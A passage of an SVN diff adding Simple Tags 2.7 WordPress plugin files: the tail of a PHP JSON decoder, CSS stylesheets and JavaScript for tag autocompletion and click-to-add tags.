+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\f':
+                                $utf8 .= chr(0x0C);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\r':
+                                $utf8 .= chr(0x0D);
+                                ++$c;
+                                break;
+
+                            case $substr_chrs_c_2 == '\\"':
+                            case $substr_chrs_c_2 == '\\\'':
+                            case $substr_chrs_c_2 == '\\\\':
+                            case $substr_chrs_c_2 == '\\/':
+                                if (($delim == '"' && $substr_chrs_c_2 != '\\\'') ||
+                                   ($delim == "'" && $substr_chrs_c_2 != '\\"')) {
+                                    $utf8 .= $chrs{++$c};
+                                }
+                                break;
+
+                            case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)):
+                                // single, escaped unicode character
+                                $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2)))
+                                       . chr(hexdec(substr($chrs, ($c + 4), 2)));
+                                $utf8 .= $this->utf162utf8($utf16);
+                                $c += 5;
+                                break;
+
+                            case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F):
+                                $utf8 .= $chrs{$c};
+                                break;
+
+                            case ($ord_chrs_c & 0xE0) == 0xC0:
+                                // characters U-00000080 - U-000007FF, mask 110XXXXX
+                                //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 2);
+                                ++$c;
+                                break;
+
+                            case ($ord_chrs_c & 0xF0) == 0xE0:
+                                // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 3);
+                                $c += 2;
+                                break;
+
+                            case ($ord_chrs_c & 0xF8) == 0xF0:
+                                // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 4);
+                                $c += 3;
+                                break;
+
+                            case ($ord_chrs_c & 0xFC) == 0xF8:
+                                // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 5);
+                                $c += 4;
+                                break;
+
+                            case ($ord_chrs_c & 0xFE) == 0xFC:
+                                // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 6);
+                                $c += 5;
+                                break;
+
+                        }
+
+                    }
+
+                    return $utf8;
+
+                } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) {
+                    // array, or object notation
+
+                    if ($str{0} == '[') {
+                        $stk = array(SERVICES_JSON_IN_ARR);
+                        $arr = array();
+                    } else {
+                        if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = array();
+                        } else {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = new stdClass();
+                        }
+                    }
+
+                    array_push($stk, array('what'  => SERVICES_JSON_SLICE,
+                                           'where' => 0,
+                                           'delim' => false));
+
+                    $chrs = substr($str, 1, -1);
+                    $chrs = $this->reduce_string($chrs);
+
+                    if ($chrs == '') {
+                        if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                            return $arr;
+
+                        } else {
+                            return $obj;
+
+                        }
+                    }
+
+                    //print("\nparsing {$chrs}\n");
+
+                    $strlen_chrs = strlen($chrs);
+
+                    for ($c = 0; $c <= $strlen_chrs; ++$c) {
+
+                        $top = end($stk);
+                        $substr_chrs_c_2 = substr($chrs, $c, 2);
+
+                        if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) {
+                            // found a comma that is not inside a string, array, etc.,
+                            // OR we've reached the end of the character list
+                            $slice = substr($chrs, $top['where'], ($c - $top['where']));
+                            array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false));
+                            //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                            if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                                // we are in an array, so just push an element onto the stack
+                                array_push($arr, $this->decode($slice));
+
+                            } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                                // we are in an object, so figure
+                                // out the property name and set an
+                                // element in an associative array,
+                                // for now
+                                $parts = array();
+                                
+                                if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+                                    // "name":value pair
+                                    $key = $this->decode($parts[1]);
+                                    $val = $this->decode($parts[2]);
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+                                    // name:value pair, where name is unquoted
+                                    $key = $parts[1];
+                                    $val = $this->decode($parts[2]);
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                }
+
+                            }
+
+                        } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) {
+                            // found a quote, and we are not inside a string
+                            array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c}));
+                            //print("Found start of string at {$c}\n");
+
+                        } elseif (($chrs{$c} == $top['delim']) &&
+                                 ($top['what'] == SERVICES_JSON_IN_STR) &&
+                                 ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) {
+                            // found a quote, we're in a string, and it's not escaped
+                            // we know that it's not escaped becase there is _not_ an
+                            // odd number of backslashes at the end of the string so far
+                            array_pop($stk);
+                            //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '[') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-bracket, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
+                            //print("Found start of array at {$c}\n");
+
+                        } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) {
+                            // found a right-bracket, and we're in an array
+                            array_pop($stk);
+                            //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '{') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-brace, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
+                            //print("Found start of object at {$c}\n");
+
+                        } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) {
+                            // found a right-brace, and we're in an object
+                            array_pop($stk);
+                            //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($substr_chrs_c_2 == '/*') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a comment start, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
+                            $c++;
+                            //print("Found start of comment at {$c}\n");
+
+                        } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) {
+                            // found a comment end, and we're in one now
+                            array_pop($stk);
+                            $c++;
+
+                            for ($i = $top['where']; $i <= $c; ++$i)
+                                $chrs = substr_replace($chrs, ' ', $i, 1);
+
+                            //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        }
+
+                    }
+
+                    if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                        return $arr;
+
+                    } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                        return $obj;
+
+                    }
+
+                }
+        }
+    }
+
+    /**
+     * @todo Ultimately, this should just call PEAR::isError()
+     */
+    function isError($data, $code = null)
+    {
+        if (class_exists('pear')) {
+            return PEAR::isError($data, $code);
+        } elseif (is_object($data) && (get_class($data) == 'services_json_error' ||
+                                 is_subclass_of($data, 'services_json_error'))) {
+            return true;
+        }
+
+        return false;
+    }
+}
+endif;
+
+if ( !class_exists('Services_JSON_Error') ) :
+	if (class_exists('PEAR_Error')) {
+
+        class Services_JSON_Error extends PEAR_Error
+        {
+            function Services_JSON_Error($message = 'unknown error', $code = null,
+                                         $mode = null, $options = null, $userinfo = null)
+            {
+                parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
+            }
+        }
+
+	} else {
+
+        /**
+         * @todo Ultimately, this class shall be descended from PEAR_Error
+         */
+        class Services_JSON_Error
+        {
+            function Services_JSON_Error($message = 'unknown error', $code = null,
+                                         $mode = null, $options = null, $userinfo = null)
+            {
+
+            }
+        }
+
+	}
+endif;
+
+// Future-friendly json_encode
+if( !function_exists('json_encode') ) {
+	function json_encode($data) {
+        $json = new Services_JSON();
+        return( $json->encode($data) );
+    }
+}
+
+// Future-friendly json_decode
+if( !function_exists('json_decode') ) {
+	function json_decode($data) {
+        $json = new Services_JSON();
+        return( $json->decode($data) );
+    }
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/css/bcomplete-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/css/bcomplete-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/css/bcomplete-rtl.css	(revision 44)
@@ -0,0 +1,1 @@
+.bcomplete-popup{text-align:right;}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/css/bcomplete.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/css/bcomplete.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/css/bcomplete.css	(revision 44)
@@ -0,0 +1,7 @@
+.bcomplete-popup{position:absolute;border:1px solid #000;background:#E4F2FD;text-align:left;}
+.bcomplete-popup .item{font-family:tahoma, verdana, sans-serif;font-size:11px;cursor:default;padding:3px 8px;}
+.bcomplete-popup .selected{background:#D54E21;color:#fff;}
+.bcomplete-popup .down-button{background-image:url(../images/down-arrow.gif);border-top:1px solid #6e6e6e;}
+.bcomplete-popup .up-button{background-image:url(../images/up-arrow.gif);border-bottom:1px solid #6e6e6e;}
+.bcomplete-popup .up-button,.bcomplete-popup .down-button{height:14px;overflow:hidden;background-color:#464646;background-repeat:no-repeat;background-position:50% 4px;}
+.bcomplete-popup .disabled{background-position:50% -60px;}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/css/simple-tags.admin.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/css/simple-tags.admin.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/css/simple-tags.admin.css	(revision 44)
@@ -0,0 +1,69 @@
+﻿@media print {
+.tabs-nav {display:none;}
+}
+@media projection,screen {
+.tabs-hide {display:none;}
+}
+
+/* Footer admin  */
+.footer_st{text-align:center;font-size:.8em;}
+
+/* Options - Menu  */
+.st_wrap .st_submenu{background:#464646;border-bottom:none;margin:0 0 3px;padding:3px 1em 0;}
+.st_wrap .st_submenu li{height:25px;display:inline;line-height:200%;list-style:none;text-align:center;white-space:nowrap;}
+.st_wrap .st_submenu li a{border:none;color:#fff;font-size:12px;text-decoration:none;padding:.3em .4em .4em;}
+.st_wrap .st_submenu li a:hover{background:#D54E21;color:#fff;}
+.st_wrap .st_submenu li.ui-tabs-selected{font-weight:700;background:#BBD8E7;color:#1C6280;padding:0.3em 0 0.4em;}
+.st_wrap .st_submenu li.ui-tabs-selected a{color:#464646;}
+.st_wrap .st_submenu li.ui-tabs-selected a:hover{background:#D54E21;color:#fff;}
+.st_wrap .tabs-hide{display:none;}
+
+/* Options Table  */
+.st_wrap fieldset.options legend{display:none;}
+.st_wrap fieldset.options{border:0;}
+.st_wrap .form-table th{width:200px;}
+.st_wrap .stpexplan{font-size:0.9em;}
+.st_wrap .stpexplan ul{list-style:square;margin:0 0 0 20px;padding:0;}
+.st_wrap .stpexplan ul li{margin:0;padding:0;}
+
+/* Options - Input Color  */
+.box_color{display:block;width:20px;height:20px;border:1px solid #ccc;}
+
+/* Auto tags  */
+.st_wrap .adv-tags-input{width:98%;margin:3px 0;padding:3px 5px;}
+.st_wrap .list_tags{width:240px;vertical-align:top;}
+.st_wrap .forms_manage{vertical-align:top;}
+.st_wrap .forms_manage h3{margin-bottom:5px;}
+.st_wrap .forms_manage .form-table{margin-top:0;}
+.st_wrap .sort_order h3{margin:0;}
+.st_wrap #ajax_area_tagslist ul{list-style:square;margin:10px 0 10px 20px;padding:0;}
+.st_wrap #ajax_area_tagslist ul li{line-height:1.4;margin:0;padding:0;}
+.st_wrap #ajax_area_tagslist ul li span{cursor:pointer;}
+
+/* Mass Edit Tags  */
+.st_wrap input.tags_input{width:90%;margin:3px 0 8px;padding:3px 10px;}
+
+/* Suggested Click Tags  */
+a#open_clicktags,a#close_clicktags{font-weight:700;color:red;border:0;text-decoration:none;display:block;margin-bottom:5px;}
+a#close_clicktags{display:none;}
+
+/* Ajax Click Tags  */
+#st-clicks-tags .container_clicktags{border:3px dashed #D1E6EF;display:none;max-height:300px;overflow:auto;margin:3px 0 0;padding:6px;}
+
+/* Click Tags  */
+.container_clicktags{display:block;}
+.container_clicktags span{display:block;float:left;background:#f0f0ee;border:solid 1px;color:#333;cursor:pointer;border-color:#ccc #999 #999 #ccc;margin:3px;padding:3px 4px 3px 22px;}
+.container_clicktags span:hover{color:#000;background:#b6bdd2;border-color:#0a246a;}
+.container_clicktags span.ttn_topic{background:#f0f0ee url(../images/tag_blue.png) 3px 50% no-repeat;}
+.container_clicktags span.ttn_location{background:#f0f0ee url(../images/map.png) 3px 50% no-repeat;}
+.container_clicktags span.ttn_person{background:#f0f0ee url(../images/user.png) 3px 50% no-repeat;}
+.container_clicktags span.yahoo{background:#f0f0ee url(../images/yahoo_logo.gif) 3px 50% no-repeat;}
+.container_clicktags span.local{background:#f0f0ee url(../images/tag_purple.png) 3px 50% no-repeat;}
+.container_clicktags span.ttn_topic:hover{background:#b6bdd2 url(../images/tag_blue.png) 3px 50% no-repeat;}
+.container_clicktags span.ttn_location:hover{background:#b6bdd2 url(../images/map.png) 3px 50% no-repeat;}
+.container_clicktags span.ttn_person:hover{background:#b6bdd2 url(../images/user.png) 3px 50% no-repeat;}
+.container_clicktags span.yahoo:hover{background:#b6bdd2 url(../images/yahoo_logo.gif) 3px 50% no-repeat;}
+.container_clicktags span.local:hover{background:#b6bdd2 url(../images/tag_purple.png) 3px 50% no-repeat;}
+
+/* Advanced tags input  */
+#adv-tags-input{width:98%;padding:3px 5px;}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/bcomplete.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/bcomplete.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/bcomplete.js	(revision 44)
@@ -0,0 +1,472 @@
+RegExp.escape = function(text)
+{
+    if (!arguments.callee.sRE)
+    {
+        var specials = [
+            '/', '.', '*', '+', '?', '|',
+            '(', ')', '[', ']', '{', '}', '\\'
+        ];
+
+        arguments.callee.sRE = new RegExp(
+            '(\\' + specials.join('|\\') + ')', 'g'
+        );
+    }
+
+    return text.replace(arguments.callee.sRE,'\\$1');
+};
+
+var BComplete = Class.create();
+BComplete.prototype =
+{
+    MAX_VISIBLE : 8,
+    TIMER_TICK : 10,
+    CANCEL_SUBMISSION_TIMEOUT : 10,
+
+    initialize : function(element,max)
+    {
+        if(max)
+        {
+            this.MAX_VISIBLE = max;
+        }
+
+        this.data = new Array();
+        this.element = $(element);
+        if(!this.element)
+        {
+            throw("BComplete: The specified <input> element does not exist.");
+        }
+
+        this.element.setAttribute("autocomplete","off");
+        Element.addClassName(this.element,"bcomplete-field");
+
+        this.visible = false;
+        this.cancelSubmit = false;
+        this.scroll = 0;
+        this.selectedIndex = -1;
+        this.matches = new Array();
+
+        this.popup = document.createElement("div");
+        Element.hide(this.popup);
+        this.popup.className = "bcomplete-popup";
+        document.body.appendChild(this.popup);
+
+        this.upButton = document.createElement("div");
+        this.upButton.className = "up-button";
+        this.popup.appendChild(this.upButton);
+
+        this.listItems = new Array();
+        for(var i=0;i<this.MAX_VISIBLE;i++)
+        {
+            var item = document.createElement("div");
+            this.listItems[i] = item ;
+            item.className = "item";
+            this.popup.appendChild(item);
+            item.autocomplete = this;
+            item.number = i;
+
+            item.onclick = this.onItemClick;
+            item.onmouseover = this.onItemOn;
+            item.onmouseout = this.onItemOff;
+        }
+
+        this.downButton = document.createElement("div");
+        this.downButton.className = "down-button";
+        this.popup.appendChild(this.downButton);
+
+        Event.observe(this.element,"keypress",
+            this.onKeyPress.bindAsEventListener(this));
+        Event.observe(this.element,"keydown",
+            this.onKeyDown.bindAsEventListener(this));
+        Event.observe(this.upButton,"click",
+            this.onUpButton.bindAsEventListener(this));
+        Event.observe(this.downButton,"click",
+            this.onDownButton.bindAsEventListener(this));
+        Event.observe(document,"click",
+            this.onWindowClick.bindAsEventListener(this));
+
+        this.onTick = this.onTick.bind(this);
+        this.onSubmit = this.onSubmit.bind(this);
+
+        // look for parent <form>
+        var parentForm = this.element.parentNode;
+        while(parentForm)
+        {
+            if(parentForm.tagName.toLowerCase() == "form")
+                break;
+
+            parentForm = parentForm.parentNode;
+        }
+
+        // capture submit event for parent <form>
+        var me = this;
+        if(parentForm)
+        {
+            var oldHandler = parentForm.onsubmit;
+            parentForm.onsubmit = function()
+            {
+                if(oldHandler)
+                    return (oldHandler() && me.onSubmit());
+                else
+                    return me.onSubmit();
+            };
+        }
+    },
+
+    addItem : function(item)
+    {
+        this.data[this.data.length] = item;
+        this.data.sort();
+    },
+
+    setData : function(data)
+    {
+        this.data = data;
+        data.sort();
+    },
+
+    loadData : function(url)
+    {
+        var me = this;
+        var success = function(request)
+        {
+            try
+            {
+                var data = eval(request.responseText);
+                if(typeof data == "object")
+                {
+                    me.setData(data);
+                }
+            }
+            catch(exception)
+            {
+                throw("BComplete: Invalid data format.");
+            }
+        };
+
+        var request = new Ajax.Request(url,
+            { method: 'get', onSuccess: success });
+    },
+
+    findMatches : function(text)
+    {
+        var matches = new Array();
+
+        // Modifications for multiples values
+        var exp = new RegExp(",?[^,]*$" , "i");
+        m = text.match(exp);
+        text = m[0].replace(/^[,\s]+|\s+$/g,"");
+
+        // Strict search (old) (must start with...)
+        // var expression = new RegExp("^"+ RegExp.escape(text),"i");
+        // Cool search
+        var expression = new RegExp(RegExp.escape(text),"i");
+
+        for(var i=0;i<this.data.length;i++) {
+            if(this.data[i].match(expression)) {
+                matches[matches.length] = this.data[i];
+            }
+        }
+
+        return matches;
+    },
+
+    temporarilyDisableSubmission : function()
+    {
+        this.cancelSubmit = true;
+        var me = this;
+        var revert = function()
+        {
+            me.cancelSubmit = false;
+        };
+
+        setTimeout(revert,this.CANCEL_SUBMISSION_TIMEOUT);
+    },
+
+    onWindowClick : function(event)
+    {
+        var element = Event.element(event);
+
+        var parent = element;
+        while(parent)
+        {
+            if(parent == this.element || parent == this.popup ||
+               parent == this.showAllButton)
+            {
+                return;
+            }
+
+            parent = parent.parentNode;
+        }
+
+        this.hide();
+    },
+
+    onUpButton : function(event)
+    {
+        this.selectedIndex = -1;
+        this.scroll--;
+        if(this.scroll < 0)
+            this.scroll = 0;
+
+        this.show();
+        Event.stop(event);
+        this.element.focus();
+    },
+
+    onDownButton : function(event)
+    {
+        this.selectedIndex = -1;
+        this.scroll++;
+        if(this.scroll > (this.matches.length - this.MAX_VISIBLE))
+            this.scroll = (this.matches.length - this.MAX_VISIBLE);
+
+        this.show();
+        Event.stop(event);
+        this.element.focus();
+    },
+
+    onKeyDown : function(event)
+    {
+        if(event.keyCode == 13 && this.visible)
+        {
+            this.temporarilyDisableSubmission();
+            this.select();
+            Event.stop(event);
+            return false;
+        }
+    },
+
+    showAll : function()
+    {
+        this.matches = this.findMatches('');
+        this.element.focus();
+        this.show();
+    },
+
+    onKeyPress : function(event)
+    {
+        if(event.keyCode == Event.KEY_TAB)
+        {
+            if(this.visible)
+            {
+                this.select();
+                Event.stop(event);
+                return false;
+            }
+        }
+        else if(event.keyCode == Event.KEY_DOWN)
+        {
+            this.selectedIndex++;
+            if(this.selectedIndex < this.scroll)
+                this.selectedIndex = this.scroll;
+
+            if(this.selectedIndex >= this.matches.length)
+                this.selectedIndex = this.matches.length - 1;
+
+            if(this.scroll <= (this.selectedIndex - this.MAX_VISIBLE))
+                this.scroll++;
+
+            if(this.matches.length == 0)
+            {
+                this.matches = this.findMatches(this.element.value);
+            }
+
+            this.show();
+            Event.stop(event);
+            return;
+        }
+        else if(event.keyCode == Event.KEY_UP)
+        {
+            this.selectedIndex--;
+            if(this.selectedIndex <= -1 && this.scroll <= 0)
+            {
+                this.selectedIndex = -1;
+                this.hide();
+                Event.stop(event);
+                return;
+            }
+
+            if(this.selectedIndex <= -1)
+                this.selectedIndex = this.scroll + (this.MAX_VISIBLE - 1);
+
+            if(this.scroll > this.selectedIndex)
+                this.scroll--;
+
+            this.show();
+            Event.stop(event);
+            return;
+        }
+        else if(event.keyCode != 13)
+        {
+            if(this.timerId)
+                clearTimeout(this.timerId);
+
+            this.timerId = setTimeout(this.onTick,this.TIMER_TICK);
+        }
+    },
+
+    onTick : function()
+    {
+        this.selectedIndex = -1;
+        this.scroll = 0;
+        if(this.element.value != '')
+        {
+            this.matches = this.findMatches(this.element.value);
+            if(this.matches.length > 0)
+                this.show();
+            else
+                this.hide();
+        }
+        else
+        {
+            this.hide();
+        }
+    },
+
+    onSubmit : function()
+    {
+        if(this.cancelSubmit)
+        {
+            this.cancelSubmit = false;
+            return false;
+        }
+        else
+        {
+            return true;
+        }
+    },
+
+    onItemOn : function()
+    {
+        for(var i=0;i<this.autocomplete.MAX_VISIBLE;i++)
+            Element.removeClassName(this.autocomplete.listItems[i],"selected");
+
+        Element.addClassName(this,"selected");
+        this.autocomplete.selectedIndex = this.number;
+    },
+
+    onItemOff : function()
+    {
+        Element.removeClassName(this,"selected");
+        this.autocomplete.selectedIndex = -1;
+    },
+
+    onItemClick : function()
+    {
+        this.autocomplete.selectedIndex = this.number;
+        this.autocomplete.select();
+    },
+
+    show : function()
+    {
+        if(this.matches.length <= 0)
+            return ;
+
+        var text = this.element.value;
+
+	    // Modifications for multiples values
+		var exp = new RegExp(",?[^,]*$" , "i");
+		m = text.match(exp);
+		text = m[0].replace(/^[,\s]+|\s+$/g,"");
+
+        var expression = new RegExp("("+RegExp.escape(text)+")","i");
+
+        if(this.scroll > 0)
+            Element.removeClassName(this.upButton,"disabled")
+        else
+            Element.addClassName(this.upButton,"disabled")
+
+        if((this.scroll + this.MAX_VISIBLE) < this.matches.length)
+            Element.removeClassName(this.downButton,"disabled")
+        else
+            Element.addClassName(this.downButton,"disabled")
+
+        for(var i=0;i<this.MAX_VISIBLE;i++)
+        {
+            if(this.matches[i+this.scroll])
+            {
+                var text = this.matches[i+this.scroll];
+                text = text.replace(expression,"<strong>$1</strong>");
+                this.listItems[i].innerHTML = text;
+                this.listItems[i].number = i + this.scroll;
+                this.listItems[i].value = this.matches[i+this.scroll];
+
+                if(this.selectedIndex == (this.scroll + i))
+                    Element.addClassName(this.listItems[i],"selected");
+                else
+                    Element.removeClassName(this.listItems[i],"selected");
+
+                Element.show(this.listItems[i]);
+            }
+            else
+            {
+                Element.hide(this.listItems[i]);
+            }
+        }
+
+        this.visible = true;
+        Element.show(this.popup);
+        this.setPopupPosition();
+    },
+
+    setPopupPosition : function()
+    {
+        var position = Position.cumulativeOffset(this.element);
+        var scrollY = document.body.scrollTop ?
+            document.body.scrollTop : document.documentElement.scrollTop;
+        var viewHeight = (navigator.userAgent.toLowerCase().indexOf("safari") != -1 &&
+            window.innerHeight) ? window.innerHeight :
+                document.documentElement.clientHeight;
+
+        this.popup.style.width = (this.element.offsetWidth - 2) + "px";
+        this.popup.style.left = position[0] + "px";
+
+        var popupTop = position[1] + Element.getHeight(this.element);
+        if((popupTop + this.popup.offsetHeight > scrollY + viewHeight) &&
+           (position[1] - this.popup.offsetHeight > scrollY))
+        {
+            popupTop = position[1] - this.popup.offsetHeight;
+        }
+
+        this.popup.style.top = popupTop + "px";
+    },
+
+    hide : function()
+    {
+        this.matches = new Array();
+        this.selectedIndex = -1;
+        this.scroll = 0;
+        this.visible = false;
+        Element.hide(this.popup);
+    },
+
+    select : function()
+    {
+        if(this.selectedIndex != -1)
+        {
+            // Modifications for multiples values
+            //this.element.value += this.matches[this.selectedIndex]+', ';
+            this.element.value = this.element.value.replace(/(,?\s?)[^,]*$/i, "$1" + this.matches[this.selectedIndex] + ', ');
+        }
+        setCaretToEnd(this.element);
+        this.hide();
+    }
+};
+
+function setSelectionRange(input, selectionStart, selectionEnd) {
+  if (input.setSelectionRange) {
+    input.focus();
+    input.setSelectionRange(selectionStart, selectionEnd);
+  }
+  else if (input.createTextRange) {
+    var range = input.createTextRange();
+    range.collapse(true);
+    range.moveEnd('character', selectionEnd);
+    range.moveStart('character', selectionStart);
+    range.select();
+  }
+}
+
+function setCaretToEnd (input) {
+  setSelectionRange(input, input.value.length, input.value.length);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-add-tags.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-add-tags.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-add-tags.js	(revision 44)
@@ -0,0 +1,28 @@
+function addTag(tag) {
+	// Trim tag
+	tag = tag.replace( /^\s+/, '' ).replace( /\s+$/, '' );
+
+	if ( document.getElementById("adv-tags-input") ) { // Tags input from Simple Tags
+	
+		var tag_entry = document.getElementById("adv-tags-input");
+		if ( tag_entry.value.length > 0 && !tag_entry.value.match(/,\s*$/) ) {
+			tag_entry.value += ", ";
+		}
+		
+		var re = new RegExp(tag + ",");
+		if ( !tag_entry.value.match(re) ) {
+			tag_entry.value += tag + ", ";
+		}
+		
+	} else { // Default tags input from WordPress
+		
+		var newtags = jQuery('#tags-input').val();
+		newtags += ',' + tag;
+
+		// massage
+		newtags = newtags.replace( /\s+,+\s*/g, ',' ).replace( /,+/g, ',' ).replace( /,+\s+,+/g, ',' ).replace( /,+\s*$/g, '' ).replace( /^\s*,+/g, '' );
+		jQuery('#tags-input').val( newtags );
+		tag_update_quickclicks();
+		
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-bcomplete.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-bcomplete.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-bcomplete.js	(revision 44)
@@ -0,0 +1,6 @@
+jQuery(document).ready(function() {
+	if ( document.getElementById('adv-tags-input') ) {
+		var tags_input = new BComplete('adv-tags-input');
+		tags_input.setData(collection);
+	}
+});
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-click-tags.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-click-tags.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-click-tags.js	(revision 44)
@@ -0,0 +1,28 @@
+jQuery(document).ready(function() {
+	// Display initial link
+	jQuery("#st-clicks-tags .inside").html('<a href="#st_click_tags" id="open_clicktags">'+stHelperClickTagsL10n.show_txt+'</a><a href="#st_click_tags" id="close_clicktags">'+stHelperClickTagsL10n.hide_txt+'</a><div class="container_clicktags"></div>');
+	    		    		
+	// Show click tags
+	jQuery("a#open_clicktags").click(function() {				
+		jQuery("#st-clicks-tags .container_clicktags")
+			.fadeIn('slow')
+			.load( stHelperClickTagsL10n.site_url + '/wp-admin/admin.php?st_ajax_action=click_tags', function() {
+				jQuery("#st-clicks-tags .container_clicktags span").click(function() { 
+					addTag(this.innerHTML);
+				});
+				jQuery("a#open_clicktags").hide();
+				jQuery("a#close_clicktags").show();
+			});	
+								
+		return false;
+	});
+
+	// Hide click tags
+	jQuery("a#close_clicktags").click(function() {
+		jQuery("#st-clicks-tags .container_clicktags").fadeOut('slow', function() {
+			jQuery("a#open_clicktags").show();
+			jQuery("a#close_clicktags").hide();
+		});
+		return false;
+	});
+});
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-manage.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-manage.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.7/inc/js/helper-manage.js	(revision 44)
@@ -0,0 +1,40 @@
+// Register onclick event
+function registerClick() {
